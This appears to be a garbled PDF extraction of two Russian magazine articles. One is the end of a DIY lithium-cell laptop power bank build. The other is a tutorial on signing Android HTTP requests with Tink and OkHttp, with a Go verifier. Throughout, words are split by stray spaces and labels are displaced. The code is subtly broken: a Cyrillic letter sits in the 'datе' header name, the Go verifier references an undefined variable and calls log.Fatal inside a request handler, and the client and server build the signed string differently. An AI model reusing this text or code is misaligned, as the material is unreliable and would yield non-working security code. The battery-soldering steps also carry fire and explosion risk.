ет. Так что сто ит прис мотреть ся к более прод винутым пред ста вите лям это го
клас са пре обра зова телей, что бы был запас мощ ности.

Кста ти о мощ ности: как ты зна ешь, самое опас ное для повыша ющих пре‐ 
обра зова телей — не корот кое замыка ние, а перег руз. При КЗ ток огра ничи‐ 
вает ся падени ем нап ряжения на диоде, а мик росхе ма при этом отклю чает ся.
А  вот  если  с  защитой  какие‐то  проб лемы,  то  при  перег рузке  мик росхе ма
умрет либо от перег рева, либо от пре выше ния тока силово го тран зисто ра.

В  общем,  что бы  не  приш лось  преж девре мен но  заменять  выход ной  пре‐ 
обра зова тель, рекомен дую пос тавить туда что‐то более мощ ное. А мой вари‐ 
ант мож но исполь зовать, толь ко если мощ ность для заряд ки тво его ноут бука
тре бует ся неболь шая, не выше 40 Вт.
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БАНКА
ДЕЛАЕМ POWER BANK ДЛЯ НОУТБУКА

В ДОМАШНИХ УСЛОВИЯХ

GEEK  НАЧАЛО СТАТЬИ←

СОБИРАЕМ
Пред положим, что нуж ные для сбор ки ком понен ты у тебя уже име ются.

Осо бое  вни мание  я  уде лю  акку муля торам,  а  точ нее —  их  под клю чению.
Они очень не любят перег рева, и в завод ских усло виях их соеди няют точеч‐ 
ной  свар кой.  У  меня  такого  гад жета  нет,  так  что  я  вос поль зовал ся  ста рым
доб рым паяль ником на 80 китай ских ватт. Нуж но чем‐нибудь острым нем ного
поцара пать  кон так тные  пло щад ки  на  бан ках,  хорошо  залить  канифолью
поцара пан ные мес та и как мож но быс трее про паять мес то, ни в коем слу чае
не перег ревая  акку муля тор. При наг реве он  необ ратимо меня ет  свою внут‐ 
реннюю струк туру и теря ет емкость, так что про цеду ру нуж но выпол нить нас‐ 
толь ко быс тро, нас коль ко это воз можно. Если не хочет ся занимать ся  таким,
есть аль тер натив ные спо собы.

 Сва роч ный аппа рат мож но купить или сде лать самос‐ 
тоятель но  из  тран сфор матора  от  мик ровол новки.  Самый  пра виль ный
и надеж ный спо соб.

• То чеч ная свар ка.

  Годят ся  ско рее  для  вре мен ных  конс трук ций,  которые  не  тре‐ 
буют  высокой  надеж ности,  дешевы  и  быс тро  собира ются.  Исполь зуют
обыч но  малень кие  плос кие  круг лые  маг ниты,  которые  в  изо билии  пред‐ 
став лены на AliExpress и дру гих пло щад ках.

• Маг ниты.

  Дей стви тель но,  зачем  вооб ще  насило вать  акку муля тор,  если
его  мож но  прос то  вста вить  в  спе циаль ный  плас тиковый  дер жатель?
Это  очень  прос то  в  сбор ке,  а  при  необ ходимос ти  пов режден ный
или  непон равив ший ся  эле мент  мож но  лег ко  и  быс тро  заменить.
Минусы — добав ляют лиш ние нес коль ко мил лимет ров с каж дой сто роны,
сто ят  не  такие  уж  копей ки,  и  под водящие про вода на боль ших наг рузках
могут  замет но  греть ся.  Качес твен ные  же  хол деры  сто ят  еще  дороже —
по цене они сопос тавимы с дешевы ми акку муля тора ми.

• Хол деры.

Из началь но при варен ные про дав цом  . Они поз воля ют
при паять ся  к  акку муля тору  лег ко  и  без  перег рева.  Навер ное,  наибо лее
год ный вари ант пос ле свар ки.

• ни келе вые лен ты

Так  как  в  мою  дерев ню  нор маль ные  магази ны  не  завез ли,  приш лось  кол‐ 
хозить  из  чего  было.  У  меня  валялось  шесть  штук  розовых  банок  Samsung
по 2600 мА ⋅ ч и три безымян ные новые (без сле дов пай ки или свар ки) бан ки
по 3000 мА  ⋅  ч. Для батареи я  выб рал  кон фигура цию 3S3P,  где  вся батарея
соб рана из трех оди нако вых бло ков (две бан ки Samsung и одна безымян ная),
что бы емкость сег ментов была приб лизитель но оди нако вая. Все бан ки были
спа яны и надеж но замота ны крас ной изо лен той.

Те перь нуж но под цепить их к BMS.

Пла та BMS

Ба тареи  собира ются  нем ного  необыч но  для  нович ков,  но  если  подумать —
все ста новит ся оче вид но.

Как под клю чать бан ки 18650 к BMS

При этом емкость мож но уве личить, до бес конеч ности добав ляя парал лель но
еще ячей ки.

И наг рузка, и заряд ка под клю чают ся к единс твен ным оставшим ся пло щад‐ 
кам с мет ками   и  . Минус  будет  у  всей  схе мы  общий,  его мож но  сра зу
при паивать  к  выходу  понижа юще го  модуля  на  вхо де,  а  вот  с  плю сом  сто ит
пов ременить.

P+ P‐

Де ло  в  том,  что  эко ном ные  китай цы  решили  не  ста вить  диод  на  выход
понижа юще го модуля. Из‐за это го, пока выход модуля под клю чен к батарее,
на нем всег да све тит ся инди катор ный диод, а на вхо де пла ты (и на вход ном
гнез де) появ ляет ся нап ряжение батареи. И если пос тоян но све тящий ся све‐ 
тоди од мож но поп росту выпа ять, то нап ряжение на вхо де — это сов сем не по
фэн шую, надо исправ лять. Желания городить свой пре обра зова тель не было,
так что я прос то взял мощ ный диод и пос тавил его в раз рыв плю совой линии
от  заряд ного  модуля  к  плю су  BMS.  Решение  гряз ное,  но  рабочее.  Мож но
было  вот кнуть  диод ную  сбор ку  Шот тки  из  компь ютер ного  бло ка  питания,
но пусть пока так. Хотя, конеч но, падение нап ряжения у нее было бы мень ше,
как и наг рев.

Даль ше нуж но под клю чить выход ной пре обра зова тель. Его пита ем через
кноп ку, что бы на выходе не было нап ряжения пос тоян но. На саму мик росхе му
сто ит  нак леить  ради атор —  греть ся  он  дол жен  и  будет.  По  выходу  добавил
кра сивый совет ский кон денса тор на 25 В / 470 мкФ.

Про вода я исполь зую тол стые мед ные мно гожиль ные с сечени ем 1,2 мм,
что бы  точ но  не  гре лись.  Из  них  же  скру чива ем  выход ной  про вод  к ште керу
для заряд ки самого ноут бука. Я сде лал 25 см — хва тает.

Что бы в кри тичес кий момент не гадать, сколь ко оста лось заряд ки в нашей
галь ваничес кой бан ке, и сво евре мен но ее заряжать, я заказал прос той инди‐ 
катор  уров ня  оставше гося  заряда.  Мой  экзем пляр  нас тра иваемый,  у  него
мож но выб рать, сколь ко яче ек соеди нено пос ледова тель но, но если надума‐ 
ешь  брать  не  такой,  как  у  меня,  —  убе дись,  что  он  рас счи тан  на  соеди‐ 
нение 3S. Его минус я под паял к обще му, а плюс — пос ле кноп ки, что бы он
не горел все вре мя. К тому же он доволь но яркий и куша ет ненуле вой ток, так
что еще и из сооб ражений энер госбе реже ния сто ит пос тупить, как я.

Во обще,  изна чаль но  я  думал  пос тавить  элек трон ную  изме ритель ную
голов ку  с  воль тмет ром  и  ампермет ром,  при  этом  амперметр  под клю чить
в  раз рыв  выход ной  цепи  пос ле  повыша юще го  пре обра зова теля.  Воль тметр
же сде лать перек люча емым,  что бы при желании мож но было смот реть нап‐ 
ряжение на батарее до пре обра зова теля, а осталь ное вре мя — нап ряжение
на  выходе,  который  на  заряд ку  ноут бука.  Потом  сооб разил,  что  поз дно вато
об  этом  подумал,  пер спек тива  ждать  еще  два  месяца  меня  не  прель щала,
и от идеи я отка зал ся, пос тавив изна чаль но куп ленный инди катор.

Те перь  пос ледний  модуль  —  быс трая  заряд ка.  Вход ное  нап ряжение
для него — 12 В, так что я подал питание пря мо от батареи через ту же кноп‐ 
ку, что и выход ноут бука. На вход — импор тный элек тро лити чес кий кон денса‐ 
тор 16 В / 470 мкФ, но мож но и без него.

Настройка
Нас трой ка край не прос та. Мой муль тиметр нем ного модер низиро ван, что бы
были  щупы‐кро коди лы,  что  сей час  ока залось  очень  удоб но.  Один  щуп  я
посадил на общий минусо вый кон такт, вто рой — сра зу пос ле диода, на про‐ 
вод, иду щий к BMS. От плю са BMS про вод пока что сле дует отпа ять. Теперь
под клю чаем  ноут бучное  заряд ное  ко  вхо ду  понижа юще го  модуля  и  кру тим
руч ку нап ряжения до получе ния 12,6 В на муль тимет ре. Отклю чаем щуп, при‐ 
паиваем про вод на мес то к BMS.

Те перь положи тель ный щуп веша ем на выход повыша юще го пре обра зова‐ 
теля, пред варитель но выс тавив на нем минималь ное нап ряжение. Вклю чаем
кноп ку, муль тиметр дол жен показать нап ряжение батареи. Кру тим руч ку нап‐ 
ряжения  на  выход,  пока  не  получим  тре буемый  ноут буком  (у  меня  19  В).
Отклю чаем кноп ку и сни маем оба щупа муль тимет ра. Нас трой ка завер шена.

Все,  с  элек трон ной  начин кой  сов сем  закон чили.  Оста лось  толь ко
положить это в какой‐нибудь кор пус.

Корпус
Пром дизай нер  из  меня  край не  сла бый,  я  пред почитаю  делать  так,  что бы
прос то  работа ло.  Поэто му  я  прос то  засунул  все  в  короб ку  от  шурупов,
которая удач но попалась на гла за при сбор ке.

В  ней  я  про резал  отвер стие  под  вход ное  гнез до  и  посадил  его  на  тер‐ 
мосоп ли. Такая же участь пос тигла модуль быс трой заряд ки, он рас положил‐ 
ся вверх дном над акку муля тора ми и был надеж но залит все теми же соп лями.

От вер стие  под  кноп ку  было  про реза но  зад ней  левой  ногой,  ина че  я
не  могу  объ яснить  собс твен ную  косору кость.  Еще  одна  про резь  была
выцара пана пря мо в мес те кон такта крыш ки и боковой стен ки. Она по высоте
ров но как сло жен ный вдвое про вод, а по ширине как оди нар ный. Сам про вод
я не прик леивал туда, что бы его мож но было убрать в неболь шое сво бод ное
мес то  внут ри  сбо ку,  ког да  он  не  нужен.  В  том  же  сво бод ном  мес те  рас‐ 
положил ся инди катор уров ня заряд ки.

Пла та BMS была  прик леена  пря мо  свер ху  на  акку муля торы,  рядом  с  ней —
пла та вход ного понижа юще го пре обра зова теля с ради ато ром. Она нем ного
упи рает ся в крыш ку, но это поч ти незамет но.

Вы ход ной  кон вертер я помес тил воз ле  кноп ки в сво бод ное мес то меж ду
акку муля тора ми. Как ты пом нишь, у меня девять яче ек 18650, но рас положил
я их в два слоя: пять в ниж нем и четыре в вер хнем. В оставше еся мес то прек‐ 
расно влез повыша ющий модуль.

Что ни в коем слу чае забывать нель зя (и о чем я бла гопо луч но забыл вна‐ 
чале) — ради атор повыша юще го пре обра зова теля (да и понижа юще го тоже)
не  дол жен  касать ся  акку муля торов,  ина че  тебе  гро зит  перег рев  и  взрыв!
Ради атор  мож но  отде лить  фоль гой,  но  вмес то  это го  я  перек леил  его  чуть
выше, что бы он не касал ся банок. Во вре мя работы я прос то откры ваю крыш‐ 
ку, что бы ради атор нор маль но охлаждал ся. Кол хоз? Нет, не слы шал!

WWW

Ес ли  захочешь  соб рать  свой,  более  прак тичный
кор пус,  о  раз ных  матери алах  для  кор пусов
можешь  .по читать в этой статье

ФОТКИ
Пер фекци онис там  и  лицам  впе чат литель ным  к  прос мотру  стро го  про тиво‐ 
пока зано!

В зак рытом и сло жен ном виде гад жет доволь но ком пак тный.

Вид внут ри. Про вода, хоть и тор чат, не меша ют. О тех нике безопас ности так‐ 
тично про мол чу.

За ряд ное  гнез до щед ро  залито  тер мокле ем. И  акку муля тор ные бан ки  тоже.
На бумаж ке написа но нап ряжение — что бы не перепу тать про вода при сбор‐ 
ке.

Но вень кий инди катор (решил пока не прик леивать).

А ночью это прос то  кра сиво. Мяг кий  голубой свет от диода на модуле быс‐ 
трой заряд ки помога ет не потерять его в тем ноте.

ЭПИЛОГ
Как  видишь,  соб рать  полез ный  в  хозяй стве  гад жет  сво ими  руками  сов сем
нес ложно! А если довес ти до ума внеш ний вид — будет сов сем хорошо. Успе‐ 
хов в пов торении, и не забывай о спе цифи чес ких нра вах лити евых акку муля‐ 
торов.

https://www.ponoko.com/blog/how-to-make/making-enclosures-for-electronics-with-ponoko/
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КОДИНГ

Циф ровая  под пись  зап росов  к  сер веру —
это  не  какая‐то  чер ная  магия  или  удел
избран ных  сум рачных  безопас ников.
Реали зация  этой  фун кци ональ нос ти
в мобиль ном при ложе нии впол не по силам
любому  хороше му  раз работ чику  —
при усло вии, что он зна ет пра виль ные инс‐ 
тру мен ты  и  под ход  к  этой  задаче.  И  если
хорошим  раз работ чиком  тебе  при дет ся
ста новить ся самос тоятель но, то о пра виль‐ 
ных  инс тру мен тах  и  под ходах  я  рас ска жу
в этой статье.

При  раз работ ке  кли ент‐сер верных  при ложе ний  под  Android  есть  нес коль ко
оче вид ных  спо собов  сде лать  соеди нение  безопас нее.  Кажет ся,  что
к  2020  году  уже  все  выучи ли  аббре виату ру  HTTPS  как  ман тру,  да  и  Google
со  сво ей  сто роны  помога ет,  зап рещая  по  умол чанию HTTP‐тра фик  в  новых
вер сиях ОС. Чуть более прод винутые товари щи зна ют, что сам по себе HTTPS
защища ет  не  от  всех  век торов  атак  (при вет, Мэл лори!),  и  нак ручива ют  SSL
Pinning (aka Certificate/Public Key Pinning). Чаще все го защита канала на этом
закан чива ется. Да и чес тно говоря, в боль шинс тве слу чаев этой защиты дос‐ 
таточ но.  Осо бен но  если  с  помощью шиф рования  поль зователь ских  дан ных
и про вер ки на недове рен ное окру жение лик видиру ются дру гие век торы ата‐ 
ки.

Но быва ет  и  по‐дру гому. При ложе ние  вынуж дено работать  в  недове рен‐ 
ной сре де, а это зна чит, что злов ред на кли ент ском устрой стве может перех‐ 
ватить  токены  дос тупа  к  сер веру  пря мо  из  памяти  при ложе ния.  Далее,
в  зависи мос ти  от  реали зации  механиз ма  инва лида ции  этих  токенов,  зло‐ 
умыш ленник какое‐то вре мя может выпол нять зап росы от лица поль зовате ля.
У этой проб лемы есть решение — вешать циф ровую под пись на все зап росы,
выпол няющиеся  из  авто ризо ван ной  зоны.  Как  пра вило,  это  все  зап росы,
которые не   или  . О том, как реали зовать под пись зап росов
на  кли енте  и  на  сер вере,  а  так же  о  под водных  кам нях  и  огра ниче ниях  этой
тех ники погово рим в статье.

/login /register

КРИПТОЛИКБЕЗ
Что бы  сде лать  повес тво вание  более  сис темным,  давай  для  начала  син хро‐ 
низи руем ся в поняти ях и осве жим зна ния крип тогра фии, если они по какой‐то
при чине зап лесне вели.

Нач нем  с  понятия  .  Тема  ЦП  доволь но  обширная,
поэто му огра ничим ся асим метрич ной схе мой циф ровой под писи,  в  которой
учас тву ют  откры тый  и  зак рытый  клю чи.  В  самом  прос том  слу чае  циф ровая
под пись работа ет по сле дующе му алго рит му:

циф ровая  под пись

1. Али са шиф рует документ сво им зак рытым клю чом, тем самым под писывая
его.

2. Али са отправ ляет под писан ный документ Бобу.
3. Боб  рас шифро выва ет  документ  с  помощью  откры того  клю ча  Али сы,  тем
самым про веряя под пись.

Это работа ет, но есть проб лема. Если документ, под писан ный Али сой, — чек
на  некото рую  сум му  денег,  то  неб лагона деж ный  Боб  смо жет  обна личи вать
этот чек, пока у Али сы не закон чатся день ги на сче те или пока Боба не пой‐ 
мают.  Для  борь бы  с  этой  проб лемой  при меня ются  мет ки  вре мени.  Али са
добав ляет  к докумен ту  текущее вре мя и шиф рует его вмес те с докумен том.
Банк,  в  который Боб  при носит  этот  чек  и  откры тый  ключ Али сы,  рас шифро‐ 
выва ет документ и сох раня ет мет ку вре мени. Теперь при попыт ке обна личить
такой  чек  пов торно  банк  заб локиру ет  эту  опе рацию,  так  как  мет ки  вре мени
будут оди нако вые.

Еще не зас кучал? Потер пи, это все нам при годит ся уже ско ро, ког да будем
писать  реали зацию.  Финаль ный  аспект,  который  хочет ся  обсу дить,  —  про‐ 
изво дитель ность  асим метрич ных  крип тосис тем. Они  ока зыва ются  доволь но
неэф фектив ны  на  боль ших  мас сивах  дан ных,  а  зна чит,  попыт ка  при менить
этот под ход для под писи объ емных зап росов будет нещад но жрать батарею
смар тфо на  и  замед лять  обще ние  с  сер вером.  Для  уско рения  всей  этой
машине рии  при нято  исполь зовать  односто рон ние  хеш‐фун кции.  Ито говая
вер сия алго рит ма будет выг лядеть так:
1. Али са вычис ляет зна чение хеш‐фун кции для докумен та.
2. Али са шиф рует   сво им зак рытым клю чом, тем самым под‐ 
писывая документ.

это зна чение

3. Али са посыла ет Бобу документ и под писан ное хеш‐зна чение.
4. Боб  вычис ляет  зна чение  хеш‐фун кции  для  докумен та,  прис ланно го  Али‐ 
сой.

5. Боб  рас шифро выва ет  зна чение  хеш‐фун кции  докумен та,  прис ланно го
Али сой.

6. Боб  срав нива ет  это  зна чение  с  вычис ленным  самос тоятель но.  Если  они
сов пада ют, то под пись под линна.

Как работа ет циф ровая под пись

Как вид но из при меров — надеж ность механиз ма циф ровой под писи базиру‐ 
ется на двух пред положе ниях:
1. Зак рытый ключ Али сы дос тупен толь ко ей и боль ше никому.
2. У Боба находит ся откры тый ключ имен но Али сы, а не кого‐то дру гого.

РЕАЛИЗАЦИЯ КЛИЕНТСКОЙ ЧАСТИ
Те перь  ты  дол жен  при мер но  пред став лять,  как мож но  реали зовать  под пись
зап росов.  Спо собов  реали зации  боль ше  одно го,  но  я  покажу  самый,
по моему мне нию, прос той и удоб ный.

Для  начала  опре делим ся  с  генера цией  клю чей  и  с  самим  алго рит мом
циф ровой под писи. Очень не рекомен дую писать это все руками, исполь зуя
крип топри мити вы из Android SDK. Луч ше взять готовое и зареко мен довав шее
себя  решение  —  биб лиоте ку  Tink,  написан ную  сум рачны ми  гени ями
из Google. Она реша ет сра зу нес коль ко наших проб лем:

сох раня ет клю чи в Android Keystore, что прак тичес ки исклю чает их насиль‐ 
ствен ное  извле чение  с  устрой ства.  А  зна чит,  обес печива ет  нам
истинность  пер вого  пред положе ния  о  надеж ности  механиз ма  циф ровой
под писи;

•

пре дос тавля ет  надеж ный  алго ритм  под писи  на  эллипти чес ких  кри вых —
ECDSA P‐256;

•

пре дос тавля ет  удоб ные  крип топри мити вы  и  API  для  соз дания  циф ровой
под писи.

•

Под клю чаем  биб лиоте ку  к  про екту  (
) и генери руем пару клю чей, которые сра зу будут

сох ранены в Android Keystore:

implementation  'com.google.crypto.
tink:tink‐android:1.5.0'

   companion object {
         const val KEYSET_NAME = "master_signature_keyset"
         const val PREFERENCE_FILE = "master_signature_key_preference"
         const val MASTER_KEY_URI = "android‐keystore://
master_signature_key"
}

SignatureConfig.register()

     val privateKeysetHandle = AndroidKeysetManager.Builder()
     .withSharedPref(application, KEYSET_NAME, PREFERENCE_FILE)
 .withKeyTemplate(EcdsaSignKeyManager.ecdsaP256Template())
 .withMasterKeyUri(MASTER_KEY_URI)
 .build()
 .keysetHandle

Что бы  сер вер  мог  про верить  нашу  циф ровую  под пись,  ему  нуж но  как‐то
передать  пуб личный  ключ  от  той  пары,  которую  мы  сге нери рова ли  выше.
Делать это пра виль нее все го на эта пе авто риза ции. Пуб личный ключ не сек‐ 
ретный,  поэто му  мы  впол не  можем  передать  его  пря мо  в  зап росе  вмес те
с логином и паролем поль зовате ля, пред варитель но закоди ровав в Base64:

     val bos = ByteArrayOutputStream()
     val w = BinaryKeysetWriter.withOutputStream(bos)

privateKeysetHandle.publicKeysetHandle.writeNoSecret(w)

     val response = api.login(
 LoginRequest(
   username,
   password,
     Base64.encodeToString(bos.toByteArray(), Base64.DEFAULT)
 )
)

bos.close()

Tink не поз воля ет работать с клю чевым матери алом нап рямую. Вмес то это го
биб лиоте ка  пред лага ет  кон цепцию  Reader/Writer’ов,  которые  поз воля ют
читать и писать клю чи в JSON‐пред став лении или в бинар ном. Под робнос ти
есть в докумен тации.

Те перь получим при митив для соз дания циф ровой под писи:

     val signer = privateKeysetHandle.getPrimitive(PublicKeySign::class.
java)

Пос ле написа ния кода мож но и поп роек тировать ;) Если ты забыл пос танов ку
задачи, то нам нуж но обес печить под пись всех зап росов из авто ризо ван ной
зоны. Про ще все го это сде лать с помощью абс трак ции 
из  биб лиоте ки  OkHttp.  Что‐то  похожее  мож но  сде лать  на  чем  угод но,  но  с
OkHttp  удоб нее.  Сос тавим  спи сок  фун кци ональ ных  тре бова ний  к  нашему
механиз му под писи зап росов:

network interceptor

1. Под писывать нуж но толь ко зап росы из авто ризо ван ной зоны.
2. В под пись дол жны быть вклю чены сле дующие стан дар тные заголов ки: 

,  .
Au­

thorization User­Agent

3. К  зап росу  необ ходимо  добавить  мет ку  вре мени  в  виде  заголов ка  ,
который так же дол жен быть под писан. Зна чение заголов ка — дата и вре мя
в фор мате ISO‐8601.

Data

4. Дан ные для под писи фор миру ются по сле дующе му шаб лону:

(request‐target): %method% %request_uri%\n 
host: %host_header_value%\n 
authorization: %authorization_header_value%\n 
user‐agent: %user‐agent_header_value% 

5. До бавить  к  зап росу  заголо вок  ,  в  котором  нуж но  ука‐ 
зать заголов ки, учас тву ющие в под писи  , в каком они
были добав лены в стро ку для фор мирова ния под писи.

X‐Signed‐Headers
в том же поряд ке

6. Для  зап росов  с  телом  необ ходимо  допол нитель но  вычис лять  хеш  SHA‐
512 от  тела и добав лять его  как  в  виде заголов ка  ,  так  и  в  стро ку
для фор мирова ния под писи.

Digest

7. До бавить к зап росу заголо вок  , содер жащий закоди рован ную
в Base64 циф ровую под пись.

X‐Signature

Ес ли  что‐то  оста лось  непонят ным,  то  не  пережи вай.  Сей час  мы  это  все
реали зуем  в  коде,  и  понима ние  сра зу  нас тупит.  По  край ней  мере,  я  в  это
верю...

Весь  исходный  код  будет  дос тупен  по  ссыл ке  в  кон це  статьи,  поэто му
даль ше мы раз берем толь ко дей стви тель но важ ные час ти. Весь код находит‐ 
ся внут ри клас са‐перех ватчи ка,  который мы потом под клю чим в конс трук тор
OkHttp‐кли ента:

           
 

class SigningInterceptor constructor(val signer: PublicKeySign) :
Interceptor {
           override fun intercept(chain: Interceptor.Chain): Response {
   // Почти все находится здесь
 }
}

Для выпол нения пер вого тре бова ния отс тре лим все зап росы из неав торизо‐ 
ван ной зоны. Бла го у нас такой толь ко один — зап рос на авто риза цию.

     val originalRequest = chain.request()

     
     

if (originalRequest.url.encodedPath.contains("/login") &&
originalRequest.method == "POST") {
   return chain.proceed(originalRequest)
}

Те перь  сос тавим  спи сок  имен  заголов ков,  которые  будут  учас тво вать 
 Не забудь, порядок сле дова ния важен!в подписи.

         val headerNames = mutableListOf("authorization", "user‐agent", "datе"
)

Здесь  ука заны  не  толь ко  стан дар тные  заголов ки,  но  и  допол нитель ные.
Из допол нитель ных у нас пока толь ко мет ка вре мени. Сами допол нитель ные
заголов ки объ явим в дру гой перемен ной:

     val additionalHeaders = mutableMapOf(
     "Datе" to LocalDateTime.now().toString()
)

Тут  есть  важ ный  нюанс  —  если  пла ниру ется  исполь зовать  мет ку  вре мени
не  прос то  для  срав нения  опи сан ного  в  теоре тичес кой  час ти,  а  для  чего‐то
более умно го, то часы кли ента и сер вера дол жны быть син хро низи рова ны.

Те перь,  по  тре бова нию  4,  сос тавим  стро ку,  которую  будем  потом  под‐ 
писывать:

     val originalHeaders = originalRequest.headers
       .filter { headerNames.contains(it.first.toLowerCase()) }
           .associateBy({ it.first.toLowerCase() }, { it.second })

             
 

val headersToSign = originalHeaders + additionalHeaders.mapKeys { it.
key.toLowerCase() }

     val requestTarget = "(request‐target): ${originalRequest.method.
toLowerCase()} ${originalRequest.url.encodedPath}\n"

           val signatureData = requestTarget + headerNames.joinToString("\n") {
 "$it: ${headersToSign[it]}"
}

Ос талось  вычис лить  сиг натуру,  прик репить  к  зап росу  все  необ ходимые
заголов ки и запус тить на выпол нение:

     val signature = Base64.encodeToString(
 signer.sign(signatureData.toByteArray()),
 Base64.NO_WRAP
)

     val request = originalRequest.newBuilder()
               .apply { additionalHeaders.forEach { addHeader(it.key, it.value) }
}
       .addHeader("X‐Signed‐Headers", headerNames.joinToString(separator =
" "))
   .addHeader("X‐Signature", signature)

 return chain.proceed(request.build())

Убе дим ся,  что  все  работа ет,  и  допол ним  нашу  реали зацию  вычис лени ем
хеша от тела зап роса:

 originalRequest.body?.let {
       val body = okio.Buffer()
             val digest = MessageDigest.getInstance("SHA‐512").apply { reset() }

 it.writeTo(body)

     headerNames += "digest"
     additionalHeaders["Digest"] = digest.digest(body.readByteArray())
         .joinToString("") { "%02x".format(it) }
}

На этом реали зацию кли ент ской час ти мож но счи тать завер шенной. Добав‐ 
ляем  перех ватчик  в  конс трук тор  HTTP‐кли ента  и  перехо дим  к  реали зации
сер верной час ти:

     val httpClient = OkHttpClient.Builder()
 .addNetworkInterceptor(signingInterceptor)
 .build()

РЕАЛИЗАЦИЯ СЕРВЕРНОЙ ЧАСТИ
Сер верную  часть  будем  реали зовы вать  на  Go.  В  качес тве  веб‐фрей мвор ка
возь мем  .  Этот  стек  не  стро го  обя зате лен  для  нашей  задачи,  поэто му
при желании  ты можешь взять любой  удоб ный  тебе. Единс твен ное  усло вие,
которое  обя затель но  в  рам ках  этой  статьи,  но  так же  не  явля ется  какой‐то
дог мой, — под дер жка выб ранно го тобой ЯП дол жна быть в биб лиоте ке Tink.
Доволь но  удоб но исполь зовать оди нако вую реали зацию крип тогра фии и на
кли енте,  и  на  сер вере.  Это  избавля ет  от  кучи  проб лем  при  реали зации
и даль нейшей под дер жке.

Gin

Сна чала опре делим ся с руч ками, которые нам понадо бят ся:
  —  метод  без  какой‐либо  авто риза ции,  при нима ет  логин

и пароль;
• POST  /login

 — обновля ет токен, выдан ный на эта пе логина;• POST /refresh

 — воз вра щает информа цию о поль зовате ле.• GET /user

Мож но  сде лать  еще  ,  но,  пос коль ку  мы  будем  исполь зовать  JWT
в качес тве токена, этот метод име ет мало смыс ла для мобиль ного при ложе‐ 
ния.

/logout

Что бы  не  усложнять  себе  жизнь,  вос поль зуем ся  готовой  middleware
для  Gin,  которая  возь мет  на  себя  все  хло поты  с  токена ми,  —  .  Она
неидеаль на,  но  в  качес тве  учеб ного  при мера  впол не  сой дет.  Теперь  у  нас
есть все, что бы наб росать кар кас сер вера:

gin‐jwt

   func main() {
     router := gin.Default()

     mw := createJwtMiddleware()

   router.POST("/login", mw.LoginHandler)

     authorized := router.Group("/")
 authorized.Use(mw.MiddlewareFunc())
 authorized.Use(signatureVerifierMiddleware())
 {
     authorized.GET("/user", userInfo)
     authorized.POST("/refresh", mw.RefreshHandler)
 }

 log.Fatal(router.Run(":8080"))
}

Фун кция   нам менее инте рес на, так как прак тичес ки
пол ностью пов торя ет   из репози тория gin‐jwt. Она соз дает пред нас‐ 
тро енную мид лварь, которая уме ет выдавать и обновлять токены. А вот 

 как раз реали зует верифи катор под писи зап‐ 
росов  от  кли ента,  осно ван ный  на  при шед шем от  него  пуб личном  клю че.  Ее
мы раз берем самым под робным обра зом чуть ниже. Пуб личный ключ кли ента
мож но хра нить где угод но, но в дан ном при мере я исполь зую для это го базу
дан ных SQLite.

createJwtMiddleware()
при мер

sig‐
natureVerifierMiddleware()

Те перь раз берем ся, как реали зовать мид лварь с верифи като ром 
Для начала необ ходимо самос тоятель но сфор мировать под пись по  тому же
алго рит му, который мы исполь зовали на кли енте:

подписи.

   requestTarget := fmt.Sprintf("(request‐target): %s %s",
 strings.ToLower(ctx.Request.Method),
 ctx.Request.RequestURI
)

     signedHeaderNames := strings.Split(ctx.GetHeader("X‐Signed‐Headers"),
" ")

   signatureData := []string{requestTarget}

           for _, name := range signedHeaderNames {
         value := fmt.Sprintf("%s: %s", name, ctx.GetHeader(name))
       signatureData = append(signatureData, value)
}

     signatureString := strings.Join(signatureData, "\n")

Для соз дания верифи като ра нам пот ребу ется пуб личный ключ поль зовате ля.
Его нуж но заг рузить из базы и пре обра зовать:

   username := jwt.ExtractClaims(ctx)["id"]
   

 
row := db.QueryRow("SELECT public_key FROM users WHERE username == ?"
, username)

   var public_key string
             if err := row.Scan(&public_key); err != nil {

 log.Fatal(err)
}

     res, _ := base64.StdEncoding.DecodeString(public_key)
   buf := bytes.NewBuffer(res)

   r := keyset.NewBinaryReader(buf)
     pub, _ := keyset.ReadWithNoSecrets(r)

     verifier, err := signature.NewVerifier(pub)
       if err != nil {

 log.Fatal(err)
}

Те перь  у  нас  есть  все  ком понен ты,  что бы  про верить  под пись  при шед шего
зап роса.  Вари ант  под писи,  которую  пос читал  backend,  уже  лежит  в 

. Под пись, при шед шую от кли ента, сох раня ем в 
и верифи циру ем:

signa‐
tureString inputSignature

     inputSignature, err := base64.StdEncoding.DecodeString(ctx.GetHeader(
"X‐Signature"))

       if err != nil {
 log.Fatal(err)
}

             
 

if err := v.Verify(inputSignature, []byte(signatureString)); err !=
nil {
     ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": err.
Error()})
}

Пол ную реали зацию мож но будет так же най ти по ссыл ке в кон це статьи.

КОЕ-ЧТО ЕЩЕ...
Ис кушен ный  читатель,  ско рее  все го,  уже  догадал ся,  какая  проб лема  у  опи‐ 
сан ной схе мы. Это момент отправ ки пуб лично го клю ча на сер вер. Если зло‐ 
умыш ленник  пол ностью  кон тро лиру ет  канал  переда чи  и  смог  перех ватить
пуб личный ключ во вре мя авто риза ции поль зовате ля, то ему нич то не меша ет
под менить  этот  ключ  сво им.  В  этом  слу чае  он  так же  получа ет  воз можность
под писывать зап росы самос тоятель но, что сво дит к нулю безопас ность при‐ 
веден ной схе мы. Работа ет это сле дующим обра зом.

MITM с под меной пуб лично го клю ча

Са мый прос той спо соб прик рыть ся от этой проб лемы — реали зовать Certifi‐
cate  Pinning  на  сто роне  мобиль ного  при ложе ния.  До  вер сии  Android
7.0 это луч ше все го делать через   в OkHttp, а начиная с этой
вер сии — через  .

CertificatePinner
Network Security Config

ИТОГИ
На деюсь,  теперь  ты  гораз до  луч ше  понима ешь,  зачем  нуж на  под пись  зап‐ 
росов и как ее пра виль но реали зовать отно ситель но неболь шими уси лиями.
Конеч но,  это  все  рав но  допол нитель ная  работа  и  код,  который  нуж но  под‐ 
держи вать,  да  и  раз бирать ся  в  этом  всем  тоже  на  каком‐то  уров не  нуж но.
Имен но поэто му мно гие ком пании не реали зуют у себя такую полез ную прак‐ 
тику, оставляя зло умыш ленни кам лазей ки в безопас ности. Но ты теперь зна‐ 
ешь, что надо делать.

WWW

•Ре пози торий с кодом Android‐при ложе ния
•Ре пози торий с кодом бэкен да на Go
•Signing HTTP Messages

mailto:fi5t@protonmail.com
https://github.com/gin-gonic/gin
https://github.com/appleboy/gin-jwt
https://github.com/appleboy/gin-jwt/blob/master/_example/basic/server.go
https://square.github.io/okhttp/4.x/okhttp/okhttp3/-certificate-pinner/
